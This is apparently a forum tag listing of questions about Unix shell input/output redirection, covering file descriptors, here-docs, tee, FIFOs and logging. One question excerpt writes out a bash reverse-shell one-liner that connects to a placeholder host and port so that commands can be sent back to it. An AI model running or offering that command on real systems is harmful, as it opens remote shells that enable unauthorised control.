io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

0
votes
3answers
107 views

What does running “< ./somefile.txt” in shell do?

So I just executed < ./somefile.txt in a shell, and it doesn't appear to do anything (the text file has valid linux commands). So where are the contents of the text file being redirected to? I'm ...
1
vote
1answer
153 views

How to redirect per-CPU top output to file?

I want redirect top output to a file, but I am interested in the per-CPU usage. Doing just #I only want to see processes belonging to myuser top -b -d 1 -u myuser > top.txt gives me stats ...
1
vote
1answer
110 views

Why do I get “Permission denied” when redirecting the output of sudo echo “xyz” to a file? [duplicate]

Why do I get -bash: test: Permission denied when I run sudo echo "xyz" > test The directory permissions are: drwxr-xr-x 3 root root 4096 2014-08-05 16:26 I have no problem creating a ...
1
vote
2answers
49 views

awk - read program AND input from the standard input?

Is it possible for awk to read the program and the input from the standard input? I would like to be able to pipe a file to the following function. process_data () { awk -f - <<EOF {print} ...
0
votes
0answers
214 views

start-stop-daemon doesn't stop programs which redirect stdout/stderr

I just discovered, that start-stop-daemon doesn't work well with programs redirecting their stdout/stderr: # cat /root/_/1.sh #!/usr/bin/env bash set -eu cmd="~yuri/_/${2:-1}.sh" if [ "${3:-}" = ...
5
votes
1answer
71 views

Is it possible to use multiple here-docs in bash?

Can one use multiple here-docs to provide input to a command in bash? $ cat <<<foo <<<bar bar $ cat <<EOF1 <<EOF2 > foo > EOF1 > bar > EOF2 bar Obviously, ...
7
votes
1answer
68 views

How can I send reads and writes on a single file descriptor to different places?

I have a Linux executable foo that reads input from fd 0 and writes output to fd 0 (not fd 1). This works just fine for interactive use in the terminal. From the shell command line, how can I execute ...
-1
votes
3answers
569 views

cat /dev/null emptied my log file but size did not change

I'm quite new to Unix. Using Solaris 10 I faced the below issue. There is a large log file with size 9.5G. I tried to empty the file using the below command. # cat /dev/null file_log.txt By doing ...
3
votes
1answer
64 views

Does cat never read from terminal?

Chapter 43. Redirecting Input and Output of Unix Power Tools, Third Edition has to say this about cat command: Standard input (stdin) normally comes from your keyboard. Many programs ignore ...
3
votes
2answers
79 views

Decoding “prog > file 2>&1”

I am having some difficulty understanding the construct prog > file 2>&1. I have read that it means "Send stdout and stderr to file". But my question is how? I understand that prog > ...
4
votes
2answers
149 views

How to redirect stdout to a file and read from the same file simultaneously with another task?

I want to run a task (which takes quite a long time) remotely in Ubuntu Linux Bash via nohup and redirect stdout to a file, e.g.: nohup task > out.txt & From time to time I would like to ...
2
votes
2answers
359 views

Pass argument to script, then redirect script as input to bsub

I am currently working with the bsub job submission system from Platform LSF. I need to submit job scripts, but I am running into a problem with passing arguments to the job script. What I need is as ...
8
votes
2answers
285 views

Redirecting output depending on grep regex

I am using gradle run to start a REST server. The output of the REST server looks like this: XXX.XXX.XX.XXX - <moreinfo> randomtext randomtext XXX.XXX.XX.XXX - <moreinfo> XXX.XXX.XX.XXX - ...
3
votes
1answer
87 views

redirect output for a command that takes in multiple arguments

this command is to redirect output of time to with multiple args: $ time wc test >wc.out 2>time.out unix programming environment book shows that the error output of time redirects to ...
5
votes
3answers
181 views

Combining brace expansion and output redirection

Often, I use parameter expansion on the command-line, such as cp a.{ext1,ext2} which is expands to cp a.ext1 a.ext2 However, in many cases I do not use cp, but another tool, let's call it cat, ...
4
votes
1answer
152 views

How to make a variable from a subshell available in the parent shell

I've written a quick-and-dirty script to time some reports from a web service: BASE_URL='http://example.com/json/webservice/' FIRST=1 FINAL=10000 for report_code in $(seq 1 $FINAL); do (time -p ...
1
vote
2answers
62 views

Hiding Script Command Output

I'm building a shell script to automatically configure a specific computer with the best settings. I would like to hide all output from this script except for echo output. Is it possible?
1
vote
2answers
398 views

What does “batch mode” mean for the top command?

I was reading about the top command and I came across something I don't quite understand: top options: -b Run in batch mode. This is useful for sending output from top to other programs or to ...
12
votes
7answers
375 views

How do you remember the syntax for 2>&1 redirection [closed]

Do you have a mnemonic or system? This has bothered me for years I always have to look it up
2
votes
1answer
514 views

bottomless tee?

I was just playing around in the terminal and I did this: printf 'some string\n' | { tee /dev/fd/3 | { : && sed 's/some/string/' } } 3>&0 I was really surprised when ...
5
votes
1answer
109 views

What are the difference between those four commands (fifo, process substitution, redirection…)

My goal is to create a simple echo server using nc and a single fifo. I'm not looking for the best way to do it, I'm merely trying to understand the semantics of the following commands (when does fork ...
1
vote
2answers
60 views

What fd's are used when doing diff <(cat old) <(cat new)?

If I do: diff <(cat old) <(cat new) Hoe does that work internally for the diff program? And how I do the same trick with a bash script?
4
votes
3answers
265 views

Environment variables are not set when my function is called in a pipeline

I have the following recursive function to set environment variables: function par_set { PAR=$1 VAL=$2 if [ "" != "$1" ] then export ${PAR}=${VAL} echo ${PAR}=${VAL} shift ...
1
vote
1answer
349 views

Send copy of a script's output to a file

Say I have a Zsh script and that I would like to let it print output to STDOUT, but also copy (dump) its output to a file in disk. Moreover, the script starts with the following option set -o xtrace ...
3
votes
1answer
103 views

How does SSH display the message “The authenticity of host .. can't be established”?

I wanted to trace down the system call used by ssh to output this warning message: > ssh root@abcde The authenticity of host .. can't be established. If the message were sent to stderr or ...
10
votes
2answers
734 views

Closing a file descriptor, >&- vs <&-

In the bash tutorial I am reading, it says that if you open a file descriptor for reading, i.e. exec 3< echolist Then you must close it like this, exec 3<&- However, if you open a file ...
10
votes
5answers
1k views

Difference between cat and '>' to zero out a file

Are these two commands any different on how they go about zero-ing out files? Is the latter a shorter way of doing the former? What is happening behind the scenes? Both $ cat /dev/null > ...
3
votes
0answers
64 views

Some puzzles of how to close file descriptors on sh or bash [duplicate]

Question 1. What will happen if we close a input file descriptor as if it is a output file descriptor? (or vice versa). For Example, $ exec 5<&2 $ exec 5>&- In my linux box, ...
4
votes
3answers
5k views

bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
5
votes
3answers
1k views

stdin, stderr, redirection and logs

Is there a difference between those two lines ? /home/user/script.sh >> /home/user/stdout_and_error.log 2>&1 /home/user/script.sh 2>&1 >> /home/user/stdout_and_error.log ...
3
votes
1answer
341 views

Prevent hanging of “echo STRING > fifo” when nothing is reading that FIFO

When I echo something to a named pipe made with mkfifo, it hangs if no process is reading from that pipe. How can I prevent that, i.e., stop that from hanging? And by the way, why is that hanging ...
1
vote
2answers
114 views

How to properly launch a program and make possible to redirect its running output (stdout and stderr) at a later stage?

The problem is quite simple: I find useful to have the possibility to switch on (and off) the output of some running program in each moment I need. To be more precise I want to be free to redirect ...
23
votes
1answer
593 views

How do I redirect command completion output?

On the command line, I can redirect or pipe output of a command to a file or another command using the > or | operator after the command. I have come across a less standard situation that I would ...
9
votes
3answers
917 views

tee stdout to stderr?

I'd like to send stdout from one process to the stdin of another process, but also to the console. Sending stdout to stdout+stderr, for instance. For example, I've got git edit aliased to the ...
3
votes
2answers
112 views

Redirect the output of a command in `time command`

I am trying to time something using: /usr/bin/time myCommand However, since /usr/bin/time writes to stderr, if myCommand also writes to stderr, I will get more than just time's output on the ...
2
votes
1answer
2k views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
2
votes
2answers
164 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
8
votes
2answers
195 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
26
votes
4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
5
votes
5answers
470 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
5
votes
2answers
122 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
3answers
167 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
1
vote
2answers
393 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
1
vote
1answer
231 views

Why does redirection in crontab result in a zero byte file?

System: Xubuntu 13.10 When I have this crontab entry */5 * * * * cat /home/dbk/.bash_aliases &> /home/dbk/Desktop/junk junk has a byte size of 0. Running $ cat /home/dbk/.bash_aliases ...
4
votes
1answer
680 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
0
votes
2answers
226 views

How to reset the file descriptor

I was trying to use file descriptor for printing the lines in the file #!/usr/bin/ksh exec 3<&0 exec 0< file.txt while read LINE do echo “$LINE” done and I am done with my code ,it ...
7
votes
1answer
459 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
8
votes
2answers
2k views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & Now, the latter ...
0
votes
1answer
123 views

Capture Error of LS to file [duplicate]

#!/bin/sh if [ $(ls sample01.log | wc -l) = 1 ] then echo "File Found" > lsOutput.log else echo "File Not Found" > lsOutput.log fi But if sample01.log is not already existing my code already ...
3
votes
2answers
105 views

Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...